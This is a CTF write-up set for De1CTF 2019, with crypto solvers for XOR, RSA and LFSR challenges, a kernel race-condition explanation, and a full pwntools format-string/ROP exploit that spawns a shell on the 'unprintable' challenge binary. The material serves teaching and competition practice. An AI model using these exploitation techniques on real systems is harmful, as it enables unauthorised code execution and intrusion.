[TOC]
https://github.com/De1ta-team/De1CTF2019
广告一波:
De1ta长期招Web/逆向/pwn/密码学/硬件/取证/杂项/etc.选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=
from itertools import * from data import flag,plain key=flag.strip("de1ctf{").strip("}") assert(len(key)<38) salt="WeAreDe1taTeam" ki=cycle(key) si=cycle(salt) cipher = ''.join([hex(ord(p) ^ ord(next(ki)) ^ ord(next(si)))[2:].zfill(2) for p in plain]) print cipher # output: # 49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c
#coding:utf8 from itertools import cycle c="49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c" def getCipher(c): codeintlist = [] codeintlist.extend( (map(lambda i: int(c[i:i + 2], 16), range(0, len(c), 2)))) salt="WeAreDe1taTeam" si=cycle(salt) newcodeintlist = [ci ^ ord(next(si)) for ci in codeintlist] return newcodeintlist def getKeyPool(cipher, stepSet, plainSet, keySet): ''' 传入的密文串、明文字符集、密钥字符集、密钥长度范围均作为数字列表处理.形如[0x11,0x22,0x33] 返回一个字典,以可能的密钥长度为键,以对应的每一字节的密钥字符集构成的列表为值,密钥字符集为数字列表。 形如{ 1:[[0x11]], 3:[ [0x11,0x33,0x46], [0x22,0x58], [0x33] ] } ''' keyPool = dict() for step in stepSet: maybe = [None] * step for pos in xrange(step): maybe[pos] = [] for k in keySet: flag = 1 for c in cipher[pos::step]: if c ^ k not in plainSet: flag = 0 if flag: maybe[pos].append(k) for posPool in maybe: if len(posPool) == 0: maybe = [] break if len(maybe) != 0: keyPool[step] = maybe return keyPool def calCorrelation(cpool): '''传入字典,形如{'e':2,'p':3} 返回可能性,0~1,值越大可能性越大 (correlation between the decrypted column letter frequencies and the relative letter frequencies for normal English text) ''' frequencies = {"e": 0.12702, "t": 0.09056, "a": 0.08167, "o": 0.07507, "i": 0.06966, "n": 0.06749, "s": 0.06327, "h": 0.06094, "r": 0.05987, "d": 0.04253, "l": 0.04025, "c": 0.02782, "u": 0.02758, "m": 0.02406, "w": 0.02360, "f": 0.02228, "g": 0.02015, "y": 0.01974, "p": 0.01929, "b": 0.01492, "v": 0.00978, "k": 0.00772, "j": 0.00153, "x": 0.00150, "q": 0.00095, "z": 0.00074} relative = 0.0 total = 0 fpool = 'etaoinshrdlcumwfgypbvkjxqz' total = sum(cpool.values()) # 总和应包括字母和其他可见字符 for i in cpool.keys(): if i in fpool: relative += frequencies[i] * cpool[i] / total return relative def analyseFrequency(cfreq): key = [] for posFreq in cfreq: mostRelative = 0 for keyChr in posFreq.keys(): r = calCorrelation(posFreq[keyChr]) if r > mostRelative: mostRelative = r keychar = keyChr key.append(keychar) return key def getFrequency(cipher, keyPoolList): ''' 传入的密文作为数字列表处理 传入密钥的字符集应为列表,依次包含各字节字符集。 形如[[0x11,0x12],[0x22]] 返回字频列表,依次为各字节字符集中每一字符作为密钥组成部分时对应的明文字频 形如[{ 0x11:{'a':2,'b':3}, 0x12:{'e':6} }, { 0x22:{'g':1} }] ''' freqList = [] keyLen = len(keyPoolList) for i in xrange(keyLen): posFreq = dict() for k in keyPoolList[i]: posFreq[k] = dict() for c in cipher[i::keyLen]: p = chr(k ^ c) posFreq[k][p] = posFreq[k][p] + 1 if p in posFreq[k] else 1 freqList.append(posFreq) return freqList def vigenereDecrypt(cipher, key): plain = '' cur = 0 ll = len(key) for c in cipher: plain += chr(c ^ key[cur]) cur = (cur + 1) % ll return plain def main(): ps = [] ks = [] ss = [] ps.extend(xrange(32, 127)) ks.extend(xrange(0xff + 1)) ss.extend(xrange(38)) cipher = getCipher(c) keyPool = getKeyPool(cipher=cipher, stepSet=ss, plainSet=ps, keySet=ks) for i in keyPool: freq = getFrequency(cipher, keyPool[i]) key = analyseFrequency(freq) plain = vigenereDecrypt(cipher, key) print plain,"\n" print ''.join(map(chr,key)) if __name__ == '__main__': main() # output: Wvlc0m3tOjo1nu55un1ojOt3q0cl3W 修正后得到flag # data文件实际内容: # flag="de1ctf{W3lc0m3tOjo1nu55un1ojOt3m0cl3W}" # plain="In faith I do not love thee with mine eyes,For they in thee a thousand errors note;But `tis my heart that loves what they despise,Who in despite of view is pleased to dote.Nor are mine ears with thy tongue`s tune delighted;Nor tender feeling to base touches prone,Nor taste, nor smell, desire to be invitedTo any sensual feast with thee alone.But my five wits, nor my five senses canDissuade one foolish heart from serving thee,Who leaves unswayed the likeness of a man,Thy proud heart`s slave and vassal wretch to be.Only my plague thus far I count my gain,That she that makes me sin awards me pain."
本题主要考察RSA的基础知识和常见攻击方式,涉及共模攻击、小指数攻击等。首先通过共模攻击等到p,再通过小指数攻击得到e1,e2,然后使用yafu分解大数得到q1且可解出没有任何用处的hint。然后是以flag为明文的加密,这里的加密不满足e和φ互素,因此虽然知道p,q,但无法直接解密,需要稍做操作。
import binascii from data import e1,e2,p,q1p,q1q,hint,flag n = [20129615352491765499340112943188317180548761597861300847305827141510465619670536844634558246439230371658836928103063432870245707180355907194284861510906071265352409579441048101084995923962148527097370705452070577098780246282820065573711015664291991372085157016901209114191068574208680397710042842835940428451949500607613634682684113208766694028789275748528254287705759528498986306494267817198340658241873024800336013946294891687591013414935237821291805123285905335762719823771647853378892868896078424572232934360940672962436849523915563328779942134504499568866135266628078485232098208237036724121481835035731201383423L, 31221650155627849964466413749414700613823841060149524451234901677160009099014018926581094879840097248543411980533066831976617023676225625067854003317018794041723612556008471579060428898117790587991055681380408263382761841625714415879087478072771968160384909919958010983669368360788505288855946124159513118847747998656422521414980295212646675850690937883764000571667574381419144372824211798018586804674824564606122592483286575800685232128273820087791811663878057827386379787882962763290066072231248814920468264741654086011072638211075445447843691049847262485759393290853117072868406861840793895816215956869523289231421L, 29944537515397953361520922774124192605524711306753835303703478890414163510777460559798334313021216389356251874917792007638299225821018849648520673813786772452822809546571129816310207232883239771324122884804993418958309460009406342872173189008449237959577469114158991202433476710581356243815713762802478454390273808377430685157110095496727966308001254107517967559384019734279861840997239176254236069001453544559786063915970071130087811123912044312219535513880663913831358790376650439083660611831156205113873793106880255882114422025746986403355066996567909581710647746463994280444700922867397754748628425967488232530303L, 25703437855600135215185778453583925446912731661604054184163883272265503323016295700357253105301146726667897497435532579974951478354570415554221401778536104737296154316056314039449116386494323668483749833147800557403368489542273169489080222009368903993658498263905567516798684211462607069796613434661148186901892016282065916190920443378756167250809872483501712225782004396969996983057423942607174314132598421269169722518224478248836881076484639837343079324636997145199835034833367743079935361276149990997875905313642775214486046381368619638551892292787783137622261433528915269333426768947358552919740901860982679180791L] c = [19131432661217908470262338421299691998526157790583544156741981238822158563988520225986915234570037383888112724408392918113942721994125505014727545946133307329781747600302829588248042922635714391033431930411180545085316438084317927348705241927570432757892985091396044950085462429575440060652967253845041398399648442340042970814415571904057667028157512971079384601724816308078631844480110201787343583073815186771790477712040051157180318804422120472007636722063989315320863580631330647116993819777750684150950416298085261478841177681677867236865666207391847046483954029213495373613490690687473081930148461830425717614569L, 15341898433226638235160072029875733826956799982958107910250055958334922460202554924743144122170018355117452459472017133614642242411479849369061482860570279863692425621526056862808425135267608544855833358314071200687340442512856575278712986641573012456729402660597339609443771145347181268285050728925993518704899005416187250003304581230701444705157412790787027926810710998646191467130550713600765898234392350153965811595060656753711278308005193370936296124790772689433773414703645703910742193898471800081321469055211709339846392500706523670145259024267858368216902176489814789679472227343363035428541915118378163012031L, 18715065071648040017967211297231106538139985087685358555650567057715550586464814763683688299037897182845007578571401359061213777645114414642903077003568155508465819628553747173244235936586812445440095450755154357646737087071605811984163416590278352605433362327949048243722556262979909488202442530307505819371594747936223835233586945423522256938701002370646382097846105014981763307729234675737702252155130837154876831885888669150418885088089324534892506199724486783446267336789872782137895552509353583305880144947714110009893134162185382309992604435664777436197587312317224862723813510974493087450281755452428746194446L, 2282284561224858293138480447463319262474918847630148770112472703128549032592187797289965592615199709857879008271766433462032328498580340968871260189669707518557157836592424973257334362931639831072584824103123486522582531666152363874396482744561758133655406410364442174983227005501860927820871260711861008830120617056883514525798709601744088135999465598338635794275123149165498933580159945032363880613524921913023341209439657145962332213468573402863796920571812418200814817086234262280338221161622789516829363805084715652121739036183264026120868756523770196284142271849879003202190966150390061195469351716819539183797L] f=lambda m,e,n,c:pow(m,e,n)==c assert(sum(map(f,[p]*4,[4]*4,n,c))==4) ee1 = 42 ee2 = 3 ce1 = 45722651786340123946960815003059322528810481841378247280642868553607692149509126962872583037142461398806689489141741494974836882341505234255325683219092163052843461632338442529011502378931140356111756932712822516814023166068902569458299933391973504078898958921809723346229893913662577294963528318424676803942288386430172430880307619748186863890050113934573820505570928109017842647598266634344447182347849367714564686341871007505886728393751147033556889217604647355628557502208364412269944908011305064122941446516990168924709684092200183860653173856272384 ce2 = 13908468332333567158469136439932325992349696889129103935400760239319454409539725389747059213835238373047899198211128689374049729578146875309231962936554403287882999967840346216695208424582739777034261079550395918048421086843927009452479936045850799096750074359160775182238980989229190157551197830879877097703347301072427149474991803868325769967332356950863518504965486565464059770451458557744949735282131727956056279292800694203866167270268988437389945703117070604488999247750139568614939965885211276821987586882908159585863514561191905040244967655444219603287214405014887994238259270716355378069726760953320025828158 tmp = 864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449289960707882463387 n = 15911581555796798614711625288508309704791837516232122410440958830726078821069050404012820896260071751380436992710638364294658173571101596931605797509712839622479368850251206419748090059752427303611760004621378226431226983665746837779056271530181865648115862947527212787824629516204832313026456390047768174765687040950636530480549014401279054346098030395100387004111574278813749630986724706263655166289586230453975953773791945408589484679371854113457758157492241225180907090235116325034822993748409011554673180494306003272836905082473475046277554085737627846557240367696214081276345071055578169299060706794192776825039 assert(pow(e1,ee1,n)==ce1) assert(pow(e2+tmp,ee2,n)==ce2) e = 46531 n = 16278524034278364842964386062476113517067911891699789991355982121084973951738324063305190630865511554888330215827724887964565979607808294168282995825864982603759381323048907814961279012375346497781046417204954101076457350988751188332353062731641153547102721113593787978587135707313755661153376485647168543680503160420091693269984008764444291289486805840439906620313162344057956594836197521501755378387944609246120662335790110901623740990451586621846212047950084207251595169141015645449217847180683357626383565631317253913942886396494396189837432429078251573229378917400841832190737518763297323901586866664595327850603 c = 14992132140996160330967307558503117255626925777426611978518339050671013041490724616892634911030918360867974894371539160853827180596100892180735770688723270765387697604426715670445270819626709364566478781273676115921657967761494619448095207169386364541164659123273236874649888236433399127407801843412677293516986398190165291102109310458304626261648346825196743539220198199366711858135271877662410355585767124059539217274691606825103355310348607611233052725805236763220343249873849646219850954945346791015858261715967952461021650307307454434510851869862964236227932964442289459508441345652423088404453536608812799355469 hint=int(binascii.hexlify(hint),16) assert(q1p*q1q==n) assert(q1p<q1q) assert(c==pow(hint,e,n)) flag=int(binascii.hexlify(flag),16) q1=q1p q2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336386996123783294932566567773695426689447410311969456458574731187512974868297092638677515283584994416382872450167046416573472658841627690987228528798356894803559278308702635288537653192098514966089168123710854679638671424978221959513 c1 = 262739975753930281690942784321252339035906196846340713237510382364557685379543498765074448825799342194332681181129770046075018122033421983227887719610112028230603166527303021036386350781414447347150383783816869784006598225583375458609586450854602862569022571672049158809874763812834044257419199631217527367046624888837755311215081173386523806086783266198390289097231168172692326653657393522561741947951887577156666663584249108899327053951891486355179939770150550995812478327735917006194574412518819299303783243886962455399783601229227718787081785391010424030509937403600351414176138124705168002288620664809270046124 c2 = 7395591129228876649030819616685821899204832684995757724924450812977470787822266387122334722132760470911599176362617225218345404468270014548817267727669872896838106451520392806497466576907063295603746660003188440170919490157250829308173310715318925771643105064882620746171266499859049038016902162599261409050907140823352990750298239508355767238575709803167676810456559665476121149766947851911064706646506705397091626648713684511780456955453552020460909638016134124590438425738826828694773960514221910109473941451471431637903182205738738109429736425025621308300895473186381826756650667842656050416299166317372707709596 assert(c1==pow(flag,e1,p*q1)) assert(c2==pow(flag,e2,p*q2))
#coding:utf8 import binascii,gmpy2 # from data import e1,e2,p,q1p,q1q,hint,flag,q2 n = [20129615352491765499340112943188317180548761597861300847305827141510465619670536844634558246439230371658836928103063432870245707180355907194284861510906071265352409579441048101084995923962148527097370705452070577098780246282820065573711015664291991372085157016901209114191068574208680397710042842835940428451949500607613634682684113208766694028789275748528254287705759528498986306494267817198340658241873024800336013946294891687591013414935237821291805123285905335762719823771647853378892868896078424572232934360940672962436849523915563328779942134504499568866135266628078485232098208237036724121481835035731201383423L, 31221650155627849964466413749414700613823841060149524451234901677160009099014018926581094879840097248543411980533066831976617023676225625067854003317018794041723612556008471579060428898117790587991055681380408263382761841625714415879087478072771968160384909919958010983669368360788505288855946124159513118847747998656422521414980295212646675850690937883764000571667574381419144372824211798018586804674824564606122592483286575800685232128273820087791811663878057827386379787882962763290066072231248814920468264741654086011072638211075445447843691049847262485759393290853117072868406861840793895816215956869523289231421L, 29944537515397953361520922774124192605524711306753835303703478890414163510777460559798334313021216389356251874917792007638299225821018849648520673813786772452822809546571129816310207232883239771324122884804993418958309460009406342872173189008449237959577469114158991202433476710581356243815713762802478454390273808377430685157110095496727966308001254107517967559384019734279861840997239176254236069001453544559786063915970071130087811123912044312219535513880663913831358790376650439083660611831156205113873793106880255882114422025746986403355066996567909581710647746463994280444700922867397754748628425967488232530303L, 25703437855600135215185778453583925446912731661604054184163883272265503323016295700357253105301146726667897497435532579974951478354570415554221401778536104737296154316056314039449116386494323668483749833147800557403368489542273169489080222009368903993658498263905567516798684211462607069796613434661148186901892016282065916190920443378756167250809872483501712225782004396969996983057423942607174314132598421269169722518224478248836881076484639837343079324636997145199835034833367743079935361276149990997875905313642775214486046381368619638551892292787783137622261433528915269333426768947358552919740901860982679180791L] c = [19131432661217908470262338421299691998526157790583544156741981238822158563988520225986915234570037383888112724408392918113942721994125505014727545946133307329781747600302829588248042922635714391033431930411180545085316438084317927348705241927570432757892985091396044950085462429575440060652967253845041398399648442340042970814415571904057667028157512971079384601724816308078631844480110201787343583073815186771790477712040051157180318804422120472007636722063989315320863580631330647116993819777750684150950416298085261478841177681677867236865666207391847046483954029213495373613490690687473081930148461830425717614569L, 15341898433226638235160072029875733826956799982958107910250055958334922460202554924743144122170018355117452459472017133614642242411479849369061482860570279863692425621526056862808425135267608544855833358314071200687340442512856575278712986641573012456729402660597339609443771145347181268285050728925993518704899005416187250003304581230701444705157412790787027926810710998646191467130550713600765898234392350153965811595060656753711278308005193370936296124790772689433773414703645703910742193898471800081321469055211709339846392500706523670145259024267858368216902176489814789679472227343363035428541915118378163012031L, 18715065071648040017967211297231106538139985087685358555650567057715550586464814763683688299037897182845007578571401359061213777645114414642903077003568155508465819628553747173244235936586812445440095450755154357646737087071605811984163416590278352605433362327949048243722556262979909488202442530307505819371594747936223835233586945423522256938701002370646382097846105014981763307729234675737702252155130837154876831885888669150418885088089324534892506199724486783446267336789872782137895552509353583305880144947714110009893134162185382309992604435664777436197587312317224862723813510974493087450281755452428746194446L, 2282284561224858293138480447463319262474918847630148770112472703128549032592187797289965592615199709857879008271766433462032328498580340968871260189669707518557157836592424973257334362931639831072584824103123486522582531666152363874396482744561758133655406410364442174983227005501860927820871260711861008830120617056883514525798709601744088135999465598338635794275123149165498933580159945032363880613524921913023341209439657145962332213468573402863796920571812418200814817086234262280338221161622789516829363805084715652121739036183264026120868756523770196284142271849879003202190966150390061195469351716819539183797L] def CRT(mi, ai): assert(reduce(gmpy2.gcd,mi)==1) assert (isinstance(mi, list) and isinstance(ai, list)) M = reduce(lambda x, y: x * y, mi) ai_ti_Mi = [a * (M / m) * gmpy2.invert(M / m, m) for (m, a) in zip(mi, ai)] return reduce(lambda x, y: x + y, ai_ti_Mi) % M p=gmpy2.iroot(CRT(n, c), 4)[0] print "p = ",p # ====================got p ee1 = 42 ee2 = 3 ce1 = 45722651786340123946960815003059322528810481841378247280642868553607692149509126962872583037142461398806689489141741494974836882341505234255325683219092163052843461632338442529011502378931140356111756932712822516814023166068902569458299933391973504078898958921809723346229893913662577294963528318424676803942288386430172430880307619748186863890050113934573820505570928109017842647598266634344447182347849367714564686341871007505886728393751147033556889217604647355628557502208364412269944908011305064122941446516990168924709684092200183860653173856272384 ce2 = 13908468332333567158469136439932325992349696889129103935400760239319454409539725389747059213835238373047899198211128689374049729578146875309231962936554403287882999967840346216695208424582739777034261079550395918048421086843927009452479936045850799096750074359160775182238980989229190157551197830879877097703347301072427149474991803868325769967332356950863518504965486565464059770451458557744949735282131727956056279292800694203866167270268988437389945703117070604488999247750139568614939965885211276821987586882908159585863514561191905040244967655444219603287214405014887994238259270716355378069726760953320025828158 tmp = 864078778078609835167779565982540757684070450697854309005171742813414963447462554999012718960925081621571487444725528982424037419052194840720949809891134854871222612682162490991065015935449289960707882463387 n = 15911581555796798614711625288508309704791837516232122410440958830726078821069050404012820896260071751380436992710638364294658173571101596931605797509712839622479368850251206419748090059752427303611760004621378226431226983665746837779056271530181865648115862947527212787824629516204832313026456390047768174765687040950636530480549014401279054346098030395100387004111574278813749630986724706263655166289586230453975953773791945408589484679371854113457758157492241225180907090235116325034822993748409011554673180494306003272836905082473475046277554085737627846557240367696214081276345071055578169299060706794192776825039 for i in xrange(200000): if gmpy2.iroot(ce1+n*i,42)[1]==1: res=gmpy2.iroot(ce1+n*i,42)[0] e1=res break for i in xrange(200000): if gmpy2.iroot(ce2+n*i,3)[1]==1: res=gmpy2.iroot(ce2+n*i,3)[0] e2=res-tmp break print "e1 = ",e1 print "e2 = ",e2 # ====================got e1,e2 e = 46531 n = 16278524034278364842964386062476113517067911891699789991355982121084973951738324063305190630865511554888330215827724887964565979607808294168282995825864982603759381323048907814961279012375346497781046417204954101076457350988751188332353062731641153547102721113593787978587135707313755661153376485647168543680503160420091693269984008764444291289486805840439906620313162344057956594836197521501755378387944609246120662335790110901623740990451586621846212047950084207251595169141015645449217847180683357626383565631317253913942886396494396189837432429078251573229378917400841832190737518763297323901586866664595327850603 c = 14992132140996160330967307558503117255626925777426611978518339050671013041490724616892634911030918360867974894371539160853827180596100892180735770688723270765387697604426715670445270819626709364566478781273676115921657967761494619448095207169386364541164659123273236874649888236433399127407801843412677293516986398190165291102109310458304626261648346825196743539220198199366711858135271877662410355585767124059539217274691606825103355310348607611233052725805236763220343249873849646219850954945346791015858261715967952461021650307307454434510851869862964236227932964442289459508441345652423088404453536608812799355469 # yafu got q1p,q1q q1p = 127587319253436643569312142058559706815497211661083866592534217079310497260365307426095661281103710042392775453866174657404985539066741684196020137840472950102380232067786400322600902938984916355631714439668326671310160916766472897536055371474076089779472372913037040153356437528808922911484049460342088835693 q1q = 127587319253436643569312142058559706815497211661083866592534217079310497260365307426095661281103710042392775453866174657404985539066741684196020137840472950102380232067786400322600902938984916355631714439668326671310160916766472897536055371474076089779472372913037040153356437528808922911484049460342088834871 if q1p>q1q: q1p,q1q=q1q,q1p # below is not necessary phi=(q1p-1)*(q1q-1) assert(gmpy2.gcd(e,phi)==1) d=gmpy2.invert(e,phi) hint=pow(c,d,n) hint=binascii.unhexlify(hex(hint)[2:]) print "hint = ",hint # ====================got q1p as q1 # flag=int(binascii.hexlify(flag),16) q1=q1p print "q1 = ",q1 q2 = 114401188227479584680884046151299704656920536168767132916589182357583461053336386996123783294932566567773695426689447410311969456458574731187512974868297092638677515283584994416382872450167046416573472658841627690987228528798356894803559278308702635288537653192098514966089168123710854679638671424978221959513 c1 = 262739975753930281690942784321252339035906196846340713237510382364557685379543498765074448825799342194332681181129770046075018122033421983227887719610112028230603166527303021036386350781414447347150383783816869784006598225583375458609586450854602862569022571672049158809874763812834044257419199631217527367046624888837755311215081173386523806086783266198390289097231168172692326653657393522561741947951887577156666663584249108899327053951891486355179939770150550995812478327735917006194574412518819299303783243886962455399783601229227718787081785391010424030509937403600351414176138124705168002288620664809270046124 c2 = 7395591129228876649030819616685821899204832684995757724924450812977470787822266387122334722132760470911599176362617225218345404468270014548817267727669872896838106451520392806497466576907063295603746660003188440170919490157250829308173310715318925771643105064882620746171266499859049038016902162599261409050907140823352990750298239508355767238575709803167676810456559665476121149766947851911064706646506705397091626648713684511780456955453552020460909638016134124590438425738826828694773960514221910109473941451471431637903182205738738109429736425025621308300895473186381826756650667842656050416299166317372707709596 assert(14==gmpy2.gcd(e1,(p-1)*(q1-1))) assert(14== gmpy2.gcd(e2,(p-1)*(q2-1))) e1=e1//14;e2=e2//14 n1=p*q1;n2=p*q2 phi1=(p-1)*(q1-1);phi2=(p-1)*(q2-1) d1=gmpy2.invert(e1,phi1);d2=gmpy2.invert(e2,phi2) f1=pow(c1,d1,n1);f2=pow(c2,d2,n2) def GCRT(mi, ai): # mi,ai分别表示模数和取模后的值,都为列表结构 assert (isinstance(mi, list) and isinstance(ai, list)) curm, cura = mi[0], ai[0] for (m, a) in zip(mi[1:], ai[1:]): d = gmpy2.gcd(curm, m) c = a - cura assert (c % d == 0) #不成立则不存在解 K = c // d * gmpy2.invert(curm // d, m // d) cura += curm * K curm = curm * m // d cura %= curm return (cura % curm, curm) #(解,最小公倍数) f3,lcm = GCRT([n1,n2],[f1,f2]) assert(f3%n1==f1);assert(f3%n2==f2);assert(lcm==q1*q2*p) n3=q1*q2 c3=f3%n3 phi3=(q1-1)*(q2-1) assert(gmpy2.gcd(7,phi3)==1) d3=gmpy2.invert(7,phi3) m3=pow(c3,d3,n3) if gmpy2.iroot(m3,2)[1] == 1: flag=gmpy2.iroot(m3,2)[0] print(binascii.unhexlify(hex(flag)[2:])) # p = 109935857933867829728985398563235455481120300859311421762540858762721955038310117609456763338082237907005937380873151279351831600225270995344096532750271070807051984097524900957809427861441436796934012393707770012556604479065826879107677002380580866325868240270494148512743861326447181476633546419262340100453 # e1 = 15218928658178 # e2 = 381791429275130 # hint = "orz...you.found.me.but.sorry.no.hint...keep.on.and.enjoy.it!" # q1 = 127587319253436643569312142058559706815497211661083866592534217079310497260365307426095661281103710042392775453866174657404985539066741684196020137840472950102380232067786400322600902938984916355631714439668326671310160916766472897536055371474076089779472372913037040153356437528808922911484049460342088834871 # de1ctf{9b10a98b-71bb-4bdf-a6ff-f319943de21f} # [Finished in 0.7s]
你可以在CTF-WIKI的这个部分找到有关lfsr的基本知识。并且在BM algorithm
下面提到可以用2n的序列恢复mask和key的方法。在这个挑战中我们知道的序列的长度只有(2n-8bits),但是我们可以通过约束条件FLAG[7:11]=='1224'
去爆破剩下的8bits。然后恢复mask,恢复key,最终得到明文
Code/exp.sage(解题脚本,当然你也可以使用B-M算法恢复mask)
Code/task.py(使用KEY和MASK生成序列的脚本)
Code/output(task.py的输出)
Code/secret.py(包含MASK,KEY和FLAG)
## Obscured
Github不太支持数学公式渲染。你可以在本地渲染并查看WP。
Github不太支持数学公式渲染。你可以在本地渲染并查看WP。
这题其实是pwnable tw上printable一道题的变种
理论上可以不用打印栈地址出来,只要预测栈后三位就可以了
首先是劫持控制流,栈上面残留了一个ld.so的地址
在exit的时候会执行dl_fini函数,里面有一段比较有趣的片段
<_dl_fini+819>: call QWORD PTR [r12+rdx*8]
rdx固定为0,r12来自下面的代码片段
<_dl_fini+777>: mov r12,QWORD PTR [rax+0x8]
<_dl_fini+781>: mov rax,QWORD PTR [rbx+0x120]
<_dl_fini+788>: add r12,QWORD PTR [rbx]
rbx指向的刚好就是栈上残留的ld.so的地址,因此我们可以控制[rbx]的值
r12默认指向的是fini_array,通过控制rbx,我们可以让r12指向bss,也就是我们可以劫持控制流了
但是劫持控制流之后呢?
我们可以再跳回main函数
.text:00000000004007A3 mov edx, 1000h ; nbytes
.text:00000000004007A8 mov esi, offset buf ; buf
.text:00000000004007AD mov edi, 0 ; fd
.text:00000000004007B2 call read
再次读内容到bss段,再printf出来
如果比较细心的话,可以发现这个时候栈上第23个参数刚好指向的是printf的返回地址,也就是我们可以在printf之后再跳回0x4007A3,也就是能无限循环printf
有了无限循环printf,那么就和平常的有循环的printf一样做了
这个时候我们就有了任意写,可以写栈上printf返回地址后面的内容,写一个bss段的地址,再配合 pop rsp这个gadget就可以进行rop了
这里还有一个小坑,就是printf超过0x2000个字节之后用 %hn 写不了值,所以要爆破到适合的栈地址,不过概率也挺高的
有了rop之后呢?我们还是leak不了,这个时候可以借助一个神奇的gadget
.text:00000000004006E8 adc [rbp+48h], edx
rbp和edx我们都是可以控制的,刚好bss段中有stdin,stdout,sterr这几个值,指向的是libc
所以我们可以利用这个gadget将stderr改成one_gadget,再利用__libc_csu_init中的
call qword ptr [r12+rbx*8]
就可以get shell了
get shell之后就挺简单了,利用重定向拿flag
cat flag >&0
from pwn import *
debug=1
context.log_level='debug'
if debug:
p=process('./unprintable')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
else:
p=remote('',)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def wait(x=True):
#raw_input()
sleep(0.3)
def write_addr(addr,sz=6):
t = (stack+0x40)%0x100
v = p64(addr)
for i in range(sz):
if t+i != 0:
se('%'+str(t+i)+'c%18$hhn%'+str(1955-t-i)+'c%23$hn\x00')
else:
se('%18$hhn%1955c%23$hn')
wait()
tv = ord(v[i])
if tv != 0:
se('%'+str(tv)+'c%13$hhn%'+str(1955-tv)+'c%23$hn\x00')
else:
se('%13$hhn%1955c%23$hn')
wait()
def write_value(addr,value,addr_sz=6):
write_addr(addr,addr_sz)
se('%'+str(ord(value[0]))+'c%14$hhn%'+str(1955-ord(value[0]))+'c%23$hn\x00')
wait()
ta = p64(addr)[1]
for i in range(1,len(value)):
tmp = p64(addr+i)[1]
if ta!=tmp:
write_addr(addr+i,2)
ta = tmp
else:
write_addr(addr+i,1)
if ord(value[i]) !=0:
se('%'+str(ord(value[i]))+'c%14$hhn%'+str(1955-ord(value[i]))+'c%23$hn\x00')
else:
se('%14$hhn%1955c%23$hn\x00')
wait()
buf = 0x601060+0x100+4
ru('This is your gift: ')
stack = int(ru('\n'),16)-0x118
if stack%0x10000 > 0x2000:
p.close()
exit()
ret_addr = stack - 0xe8
se('%'+str(buf-0x600DD8)+'c%26$hn'.ljust(0x100,'\x00')+p64(0x4007A3))
wait()
tmp = (stack+0x40)%0x10000
se('%c'*16+'%'+str(tmp-16)+'c%hn%'+str((163-(tmp%0x100)+0x100)%0x100)+'c%23$hhn\x00')
wait()
if debug:
gdb.attach(p)
raw_input()
rop = 0x601060+0x200
write_value(stack,p64(rop)[:6])
context.arch = 'amd64'
prbp = 0x400690
prsp = 0x40082d
adc = 0x4006E8
arsp = 0x0400848
prbx = 0x40082A
call = 0x400810
stderr = 0x601040
payload = p64(arsp)*3
payload += flat(prbx,0,stderr-0x48,rop,0xFFD2BC07,0,0,call)
payload += flat(adc,0,prbx,0,0,stderr,0,0,0,0x400819)
se(('%'+str(0x82d)+'c%23$hn').ljust(0x200,'\0')+payload)
print(hex(stack))
p.interactive()
题目很明显就是copy_to_user和copy_from_user时的竞争删除导致的漏洞,为了扩大竞争条件的窗口期需要mmap一块内存,当copy_to_user复制到用户空间时会引发缺页中断,这样可能会导致进程切换。需要注意的是复制的大小不能是8字节,不然再多的删除进程也是没用的,具体可以看copy_to_user的实现。由于本地和服务器环境有一些差别,竞争删除的进程数会有一点不同。
理想的效果:
test_write | |
copy_to_user | |
缺页中断 | |
test_del | |
kfree释放buffer | |
copy_to_user |
这样就可以顺利拿到slab地址
